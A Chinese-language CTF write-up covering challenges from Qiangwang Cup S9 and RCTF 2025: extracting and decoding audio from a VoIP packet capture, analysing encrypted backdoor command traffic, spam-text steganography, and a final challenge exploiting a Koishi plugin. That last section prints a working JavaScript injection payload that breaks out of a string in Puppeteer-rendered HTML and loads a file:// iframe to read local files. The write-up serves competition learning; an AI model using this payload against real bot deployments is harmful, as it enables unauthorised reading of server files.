比赛复现文档

路虽远，行则将至；事虽难，做则必成

强网杯S9

复现参考：https://blog.xmcve.com/2025/10/20/%E5%BC%BA%E7%BD%91%E6%9D%AFS9-Polaris%E6%88%98%E9%98%9FWriteup/#title-19

谍影重重 6.0

附件一个流量包和一个加密压缩包,很显然需要我们分析流量找到密码

流量包传输的是音频(根据题目提示以及流量包分析),因此需要想办法提取出音频来.

在电话-RTP流中可以看到传输的数据：

play streams → export – from cursor就可以导出数据

但是导出发现声音很小，并且我们也不能这样一个个导出，太吃操作了。

因此需要一个脚本来辅助我们。

这里借用一下Polaris战队的脚本：

import os
import subprocess
import tempfile
import glob
from scapy.all import *
import wave
import struct
import numpy as np
from scipy import signal

class PCAPAudioExtractor:
    def __init__(self, enhance_audio=True):
        self.temp_dir = tempfile.mkdtemp()
        self.extracted_files = []
        self.enhance_audio = enhance_audio
        
        # 硬编码 tshark 路径
        self.tshark_paths = [
            r"D:\\study\\ctf\\misc\\tool\\Wireshark\\Wireshark\\tshark.exe"
        ]
        self.tshark_path = self._find_tshark()
        
        # 检查音频增强依赖
        if enhance_audio:
            self._check_enhance_dependencies()
    
    def _find_tshark(self):
        """查找 tshark 可执行文件"""
        for path in self.tshark_paths:
            if os.path.exists(path):
                print(f"找到 tshark: {path}")
                return path
        print("警告: 未找到 tshark，将跳过 RTP 流提取")
        return None
    
    def _check_enhance_dependencies(self):
        """检查音频增强所需的依赖"""
        try:
            import numpy as np
            from scipy import signal
            self.have_enhance_deps = True
            print("音频增强依赖已安装")
        except ImportError as e:
            self.have_enhance_deps = False
            print(f"警告: 音频增强依赖未安装: {e}")
            print("将跳过音频增强步骤")
    
    def __del__(self):
        # 清理临时文件
        for f in glob.glob(os.path.join(self.temp_dir, "*")):
            try:
                os.remove(f)
            except:
                pass
        try:
            os.rmdir(self.temp_dir)
        except:
            pass
    
    def extract_all_audio(self, pcap_file, output_dir="extracted_audio"):
        """
        全自动提取pcap文件中的所有音频
        """
        print(f"开始分析pcap文件: {pcap_file}")
        
        # 创建输出目录
        os.makedirs(output_dir, exist_ok=True)
        
        # 方法1: 尝试提取RTP音频流
        rtp_files = self._extract_rtp_audio(pcap_file, output_dir)
        self.extracted_files.extend(rtp_files)
        
        # 方法2: 尝试提取UDP音频流
        udp_files = self._extract_udp_audio(pcap_file, output_dir)
        self.extracted_files.extend(udp_files)
        
        # 方法3: 尝试提取TCP音频流
        tcp_files = self._extract_tcp_audio(pcap_file, output_dir)
        self.extracted_files.extend(tcp_files)
        
        # 方法4: 尝试提取原始音频数据
        raw_files = self._extract_raw_audio(pcap_file, output_dir)
        self.extracted_files.extend(raw_files)
        
        # 音频增强
        if self.enhance_audio and self.have_enhance_deps and self.extracted_files:
            print("\n=== 开始音频增强 ===")
            enhanced_files = self._enhance_all_audio(output_dir)
            self.extracted_files.extend(enhanced_files)
        
        # 总结结果
        self._print_summary()
        
        return self.extracted_files
    
    def _extract_rtp_audio(self, pcap_file, output_dir):
        """提取RTP音频流"""
        print("\n=== 尝试提取RTP音频流 ===")
        extracted_files = []
        
        # 检查是否有tshark可用
        if not self.tshark_path:
            print("未找到tshark，跳过RTP提取")
            return extracted_files
        
        try:
            # 获取所有RTP流
            cmd = [self.tshark_path, '-r', pcap_file, '-Y', 'rtp', '-T', 'fields', '-e', 'rtp.ssrc', '-e', 'udp.dstport']
            result = subprocess.run(cmd, capture_output=True, text=True)
            
            if result.returncode != 0:
                print("tshark执行失败")
                return extracted_files
            
            # 解析RTP流
            streams = {}
            for line in result.stdout.split('\n'):
                if line.strip():
                    parts = line.split('\t')
                    if len(parts) >= 2:
                        ssrc, port = parts[0], parts[1]
                        if ssrc and port:
                            streams[ssrc] = port
            
            print(f"发现 {len(streams)} 个RTP流")
            
            # 提取每个RTP流
            for i, (ssrc, port) in enumerate(streams.items()):
                print(f"处理RTP流 {i+1}: SSRC={ssrc}, 端口={port}")
                
                # 提取RTP载荷
                raw_file = os.path.join(self.temp_dir, f"rtp_{ssrc}.raw")
                cmd = [self.tshark_path, '-r', pcap_file, '-Y', f'rtp.ssrc=={ssrc}', '-T', 'fields', '-e', 'rtp.payload']
                result = subprocess.run(cmd, capture_output=True, text=True)
                
                if result.returncode == 0 and result.stdout.strip():
                    # 处理十六进制载荷
                    hex_data = result.stdout.replace(':', '').replace('\n', '')
                    try:
                        raw_data = bytes.fromhex(hex_data)
                        with open(raw_file, 'wb') as f:
                            f.write(raw_data)
                        
                        # 尝试转换为WAV
                        wav_files = self._try_convert_to_wav(raw_file, output_dir, f"rtp_stream_{i+1}")
                        extracted_files.extend(wav_files)
                    except ValueError as e:
                        print(f"处理RTP载荷失败: {e}")
        
        except Exception as e:
            print(f"提取RTP流时出错: {e}")
        
        return extracted_files
    
    def _extract_udp_audio(self, pcap_file, output_dir):
        """提取UDP音频流"""
        print("\n=== 尝试提取UDP音频流 ===")
        extracted_files = []
        
        try:
            # 使用scapy读取pcap文件
            packets = rdpcap(pcap_file)
            
            # 按UDP端口分组
            udp_streams = {}
            for packet in packets:
                if packet.haslayer(UDP):
                    udp = packet[UDP]
                    port = udp.dport
                    
                    if port not in udp_streams:
                        udp_streams[port] = []
                    
                    # 获取UDP载荷
                    payload = bytes(udp.payload)
                    if payload:
                        udp_streams[port].append(payload)
            
            print(f"发现 {len(udp_streams)} 个UDP端口")
            
            # 处理每个UDP流
            for i, (port, payloads) in enumerate(udp_streams.items()):
                if len(payloads) < 10:  # 太少的包可能不是音频流
                    continue
                    
                print(f"处理UDP端口 {port}: {len(payloads)} 个数据包")
                
                # 合并载荷
                raw_data = b''.join(payloads)
                
                # 保存原始数据
                raw_file = os.path.join(self.temp_dir, f"udp_{port}.raw")
                with open(raw_file, 'wb') as f:
                    f.write(raw_data)
                
                # 尝试转换为WAV
                wav_files = self._try_convert_to_wav(raw_file, output_dir, f"udp_port_{port}")
                extracted_files.extend(wav_files)
        
        except Exception as e:
            print(f"提取UDP流时出错: {e}")
        
        return extracted_files
    
    def _extract_tcp_audio(self, pcap_file, output_dir):
        """提取TCP音频流"""
        print("\n=== 尝试提取TCP音频流 ===")
        extracted_files = []
        
        try:
            # 使用scapy读取pcap文件
            packets = rdpcap(pcap_file)
            
            # 按TCP流分组
            tcp_streams = {}
            for packet in packets:
                if packet.haslayer(TCP) and packet.haslayer(Raw):
                    tcp = packet[TCP]
                    stream_key = f"{packet[IP].src}:{packet[IP].dst}:{tcp.sport}:{tcp.dport}"
                    
                    if stream_key not in tcp_streams:
                        tcp_streams[stream_key] = []
                    
                    # 获取TCP载荷
                    payload = bytes(tcp.payload)
                    if payload:
                        tcp_streams[stream_key].append(payload)
            
            print(f"发现 {len(tcp_streams)} 个TCP流")
            
            # 处理每个TCP流
            for i, (stream_key, payloads) in enumerate(tcp_streams.items()):
                if len(payloads) < 10:  # 太少的包可能不是音频流
                    continue
                    
                print(f"处理TCP流 {i+1}: {stream_key}")
                
                # 合并载荷
                raw_data = b''.join(payloads)
                
                # 保存原始数据
                raw_file = os.path.join(self.temp_dir, f"tcp_{i}.raw")
                with open(raw_file, 'wb') as f:
                    f.write(raw_data)
                
                # 尝试转换为WAV
                wav_files = self._try_convert_to_wav(raw_file, output_dir, f"tcp_stream_{i+1}")
                extracted_files.extend(wav_files)
        
        except Exception as e:
            print(f"提取TCP流时出错: {e}")
        
        return extracted_files
    
    def _extract_raw_audio(self, pcap_file, output_dir):
        """尝试提取原始音频数据"""
        print("\n=== 尝试提取原始音频数据 ===")
        extracted_files = []
        
        try:
            # 使用scapy读取所有可能的载荷
            packets = rdpcap(pcap_file)
            
            # 收集所有可能的载荷
            all_payloads = []
            for packet in packets:
                if packet.haslayer(Raw):
                    payload = bytes(packet[Raw])
                    if len(payload) > 100:  # 只处理较大的载荷
                        all_payloads.append(payload)
            
            if all_payloads:
                # 合并所有载荷
                raw_data = b''.join(all_payloads)
                
                # 保存为临时文件
                raw_file = os.path.join(self.temp_dir, "raw_pcap.bin")
                with open(raw_file, 'wb') as f:
                    f.write(raw_data)
                
                # 尝试转换为WAV
                wav_files = self._try_convert_to_wav(raw_file, output_dir, "raw_pcap_data")
                extracted_files.extend(wav_files)
        
        except Exception as e:
            print(f"提取原始数据时出错: {e}")
        
        return extracted_files
    
    def _try_convert_to_wav(self, raw_file, output_dir, base_name):
        """尝试使用多种编码格式将原始文件转换为WAV"""
        converted_files = []
        
        # 检查文件大小
        if not os.path.exists(raw_file) or os.path.getsize(raw_file) < 1000:  # 太小可能不是音频
            return converted_files
        
        # 常见的音频格式和参数组合
        formats_to_try = [
            # (格式, 采样率, 声道数, 描述)
            ('mulaw', 8000, 1, 'G.711_μ-law_8kHz_mono'),
            ('alaw', 8000, 1, 'G.711_A-law_8kHz_mono'),
            ('mulaw', 16000, 1, 'G.711_μ-law_16kHz_mono'),
            ('alaw', 16000, 1, 'G.711_A-law_16kHz_mono'),
            ('s16le', 8000, 1, 'PCM_16bit_8kHz_mono'),
            ('s16le', 16000, 1, 'PCM_16bit_16kHz_mono'),
            ('s16le', 44100, 1, 'PCM_16bit_44.1kHz_mono'),
            ('s16le', 48000, 1, 'PCM_16bit_48kHz_mono'),
        ]
        
        # 检查ffmpeg是否可用
        if not self._check_ffmpeg():
            print("未找到ffmpeg，无法转换音频格式")
            return converted_files
        
        # 尝试每种格式
        for fmt, rate, channels, desc in formats_to_try:
            output_file = os.path.join(output_dir, f"{base_name}_{desc}.wav")
            
            try:
                cmd = [
                    'ffmpeg', '-y',  # -y 覆盖已存在文件
                    '-f', fmt,
                    '-ar', str(rate),
                    '-ac', str(channels),
                    '-i', raw_file,
                    output_file
                ]
                
                # 运行ffmpeg
                result = subprocess.run(cmd, capture_output=True, timeout=10)
                
                # 检查是否成功生成文件且文件大小合理
                if (result.returncode == 0 and 
                    os.path.exists(output_file) and 
                    os.path.getsize(output_file) > 1024):  # 至少1KB
                    
                    # 验证WAV文件
                    if self._validate_wav_file(output_file):
                        print(f"  ✓ 成功转换: {desc}")
                        converted_files.append(output_file)
                        # 成功一个就停止，避免重复转换
                        break
                    else:
                        # 删除无效文件
                        os.remove(output_file)
                else:
                    # 删除可能创建的无效文件
                    if os.path.exists(output_file):
                        os.remove(output_file)
                        
            except (subprocess.TimeoutExpired, Exception) as e:
                # 删除可能创建的无效文件
                if os.path.exists(output_file):
                    os.remove(output_file)
        
        return converted_files
    
    def _validate_wav_file(self, wav_file):
        """验证WAV文件是否有效"""
        try:
            with wave.open(wav_file, 'rb') as wav:
                # 检查基本参数
                frames = wav.getnframes()
                rate = wav.getframerate()
                channels = wav.getnchannels()
                
                # 如果帧数太少，可能不是有效音频
                if frames < 100:
                    return False
                    
                # 尝试读取一些数据
                data = wav.readframes(min(1000, frames))
                if len(data) == 0:
                    return False
                    
            return True
        except:
            return False
    
    def _check_ffmpeg(self):
        """检查ffmpeg是否可用"""
        try:
            subprocess.run(['ffmpeg', '-version'], capture_output=True)
            return True
        except:
            return False
    
    def _enhance_all_audio(self, output_dir):
        """增强所有提取的音频文件"""
        enhanced_files = []
        
        # 获取所有WAV文件
        wav_files = [f for f in self.extracted_files if f.endswith('.wav')]
        
        if not wav_files:
            print("没有找到WAV文件进行增强")
            return enhanced_files
        
        print(f"将对 {len(wav_files)} 个音频文件进行增强")
        
        for wav_file in wav_files:
            try:
                enhanced_file = self._enhance_single_audio(wav_file)
                if enhanced_file:
                    enhanced_files.append(enhanced_file)
                    print(f"  ✓ 增强完成: {os.path.basename(enhanced_file)}")
            except Exception as e:
                print(f"  ✗ 增强失败 {os.path.basename(wav_file)}: {e}")
        
        return enhanced_files
    
    def _enhance_single_audio(self, input_file):
        """增强单个音频文件"""
        if not self.have_enhance_deps:
            return None
        
        try:
            # 读取WAV文件
            with wave.open(input_file, 'rb') as wf:
                nch = wf.getnchannels()
                sw = wf.getsampwidth()
                sr = wf.getframerate()
                n_frames = wf.getnframes()
                data = wf.readframes(n_frames)
            
            # 只处理16位PCM
            if sw != 2:
                print(f"  [!] 跳过非16位PCM文件: {os.path.basename(input_file)}")
                return None
            
            # 转换为numpy数组
            audio_int16 = np.frombuffer(data, dtype=np.int16)
            audio_float32 = audio_int16.astype(np.float32)
            
            # 如果是立体声，转换为单声道
            if nch == 2:
                audio_float32 = audio_float32.reshape(-1, 2)
                audio_float32 = np.mean(audio_float32, axis=1)
            
            # 1. 去除DC偏移并归一化
            audio_float32 = audio_float32 - np.mean(audio_float32)
            audio_float32 = audio_float32 / 32768.0
            
            # 2. 应用语音频段滤波器 (300-3400Hz)
            nyquist = sr / 2.0
            low = 300.0 / nyquist
            high = 3400.0 / nyquist
            
            if high > low:
                b, a = signal.butter(4, [low, high], btype='band')
                audio_float32 = signal.filtfilt(b, a, audio_float32)
            
            # 3. 频域噪声门
            # 使用简单的STFT降噪
            f, t, Zxx = signal.stft(audio_float32, fs=sr, nperseg=256, noverlap=128, boundary=None)
            magnitude = np.abs(Zxx)
            
            # 估计噪声基底
            noise_floor = np.median(magnitude, axis=1, keepdims=True)
            threshold = noise_floor * 1.5
            
            # 应用噪声门
            gain_mask = np.where(magnitude >= threshold, 1.0, 0.25)
            Zxx_denoised = Zxx * gain_mask
            
            # 逆STFT
            _, audio_float32 = signal.istft(Zxx_denoised, fs=sr, nperseg=256, noverlap=128, boundary=None)
            
            # 确保长度一致
            if len(audio_float32) > len(audio_float32):
                audio_float32 = audio_float32[:len(audio_float32)]
            elif len(audio_float32) < len(audio_float32):
                audio_float32 = np.pad(audio_float32, (0, len(audio_float32) - len(audio_float32)))
            
            # 4. 应用增益
            audio_float32 = audio_float32 * 30.0  # 30倍增益
            
            # 5. 软限制器防止削波
            abs_signal = np.abs(audio_float32)
            signal_sign = np.sign(audio_float32)
            
            above_threshold = abs_signal > 0.8
            processed_magnitude = abs_signal.copy()
            processed_magnitude[above_threshold] = 0.8 + (abs_signal[above_threshold] - 0.8) / 6.0
            
            audio_float32 = signal_sign * processed_magnitude
            
            # 6. 最终裁剪到[-1.0, 1.0]
            audio_float32 = np.clip(audio_float32, -1.0, 1.0)
            
            # 转换回16位整数
            audio_int16 = (audio_float32 * 32767.0).astype(np.int16)
            
            # 创建输出文件名
            base_name = os.path.splitext(input_file)[0]
            enhanced_file = f"{base_name}_enhanced.wav"
            
            # 保存增强后的文件
            with wave.open(enhanced_file, 'wb') as wf:
                wf.setnchannels(1)  # 输出为单声道
                wf.setsampwidth(2)  # 16位
                wf.setframerate(sr)
                wf.writeframes(audio_int16.tobytes())
            
            return enhanced_file
            
        except Exception as e:
            print(f"增强音频时出错: {e}")
            return None
    
    def _print_summary(self):
        """打印提取结果摘要"""
        print("\n" + "="*50)
        print("提取结果摘要")
        print("="*50)
        
        if not self.extracted_files:
            print("未找到任何音频文件")
            return
        
        # 分类统计
        original_files = [f for f in self.extracted_files if not f.endswith('_enhanced.wav')]
        enhanced_files = [f for f in self.extracted_files if f.endswith('_enhanced.wav')]
        
        print(f"成功提取 {len(original_files)} 个原始音频文件:")
        for i, file_path in enumerate(original_files, 1):
            file_size = os.path.getsize(file_path)
            print(f"  {i}. {os.path.basename(file_path)} ({file_size} 字节)")
        
        if enhanced_files:
            print(f"\n成功生成 {len(enhanced_files)} 个增强音频文件:")
            for i, file_path in enumerate(enhanced_files, 1):
                file_size = os.path.getsize(file_path)
                print(f"  {i}. {os.path.basename(file_path)} ({file_size} 字节)")
        
        print(f"\n所有文件已保存到: {os.path.dirname(self.extracted_files[0])}")


# 使用示例
if __name__ == "__main__":
    import sys
    
    if len(sys.argv) < 2:
        print("用法: python audio_extractor.py <pcap文件> [输出目录] [是否增强音频]")
        print("示例: python audio_extractor.py voice_traffic.pcap extracted_audio")
        print("示例: python audio_extractor.py voice_traffic.pcap extracted_audio false (不增强音频)")
        sys.exit(1)
    
    pcap_file = sys.argv[1]
    output_dir = sys.argv[2] if len(sys.argv) > 2 else "extracted_audio"
    
    # 默认启用音频增强
    enhance_audio = True
    if len(sys.argv) > 3 and sys.argv[3].lower() in ['false', '0', 'no']:
        enhance_audio = False
    
    if not os.path.exists(pcap_file):
        print(f"错误: 文件 '{pcap_file}' 不存在")
        sys.exit(1)
    
    extractor = PCAPAudioExtractor(enhance_audio=enhance_audio)
    extracted_files = extractor.extract_all_audio(pcap_file, output_dir)

还是可以提取出来的，不过速度有点感人：

里面可以听到一串数字：

651466314514271616614214660701456661601411451426071146666014214371656514214470

octal_string = "651466314514271616614214660701456661601411451426071146666014214371656514214470"
result_list = []
current_index = 0

while current_index < len(octal_string):
    # Try 3-digit octal conversion
    if current_index + 3 <= len(octal_string):
        three_digit_string = octal_string[current_index:current_index + 3]
        try:
            three_digit_number = int(three_digit_string, 8)
            if 32 <= three_digit_number <= 127:
                result_list.append(chr(three_digit_number))
                current_index += 3
                continue
        except ValueError:
            pass  # If conversion fails, try 2-digit

    # Try 2-digit octal conversion
    if current_index + 2 <= len(octal_string):
        two_digit_string = octal_string[current_index:current_index + 2]
        try:
            two_digit_number = int(two_digit_string, 8)
            if 32 <= two_digit_number <= 127:
                result_list.append(chr(two_digit_number))
                current_index += 2
                continue
        except ValueError:
            pass  # If conversion fails, skip

    # If neither works, skip the current character
    current_index += 1

decoded_result = ''.join(result_list)
print(decoded_result)

解密压缩包，听音频内容：

粤语：一切安好，我会按照要求准备好抽查，我该送到何地？

国语：送至双里湖西岸南山茶铺，左边第二个橱柜，勿放错

粤语：我已知悉，你在那边可还安好？

国语：一切安好，希望你我二人早日相见。

粤语：指日可待。茶叶送到了，但是晚了时日，茶铺看来只能另寻良辰吉日了。你在那边，千万保重

上网搜索对应事件找到了 1949年10月24日8时45分于双鲤湖西岸南山茶铺

md5后得到flag

RCTF 2025

本次队伍排名：23

复现参考：https://su-team.cn/posts/63a9ee12.html

Asgard Fallen Down

先找到建立连接的流量：

解码这里的数据：

发现了第一道题中，后门寄生的进程

同时下面响应有几个base64字符串（build,version）

根据长度判断，是AES的key和iv

build: 20251115-VdmEJO6SDkVWYkSQD4dPfLnvkmqRUCvrELipO14dfVs=

version: 1.2.3-EjureNfe2IA6jFEZEih84w==

紧接着下面我们能发现一条加密的数据，使用key和iv进行解密：

得到执行的命令： spawn whoami

在之后的请求里得到命令执行结果：

可以发现整个流量的模式：

第N次请求 → 响应HTML中的build注释包含要执行的命令 两次base64

第N+1次请求 → 通过特殊header回传命令执行结果 一次base64

这样整个流量就清晰许多了

整个流丢给ai分析，可以得到心跳间隔10s:

Challenge 3: The Heart of Iron:
继续解码分析即可：

Challenge 4: Odin’s Eye

搜索关键词build:20251115可在2787流中找到本题的执行命令

之后有很多大块的响应包，是图片的分段传输：

得到图片，工具是无影：TscanPlus

Wanna Feel Love

第一问，为垃圾邮件隐写

使用：https://www.spammimic.com/decode.cgi

工具进行解密即可。

第二问，使用OpenMPT打开后，可以看懂5：feel

黑为0红为1

解码后得到I Feel Fantastic heyheyhey

因为红黑色宽度不一，所以当时没往这里想……<(＿　＿)>

514

找到插件：

https://github.com/araea/koishi-plugin-pjsk-pptr

其中pjsk在截图时调用了puppeteer进行渲染，设定的text未经过滤

/ koishi-plugin-pjsk-pptr/src/index.ts:L1084-L1088
const canvas = document.getElementById("myCanvas");
const context = canvas.getContext('2d');
const text = '${text}';
const x = ${specifiedX};
const y = ${specifiedY};

此处直接把用户输入拼进 html，且 url为 file: 协议，可以构造 iframe 实现本地任意文件读取。

payload:

pjsk 绘制 ';const b=String.fromCharCode(47);const a=document.createElement('iframe');a.setAttribute('src','file:'+b+b+b+'flag');a.setAttribute('style','position: fixed;top: 0;left: 0;background: white;');document.body.appendChild(a);'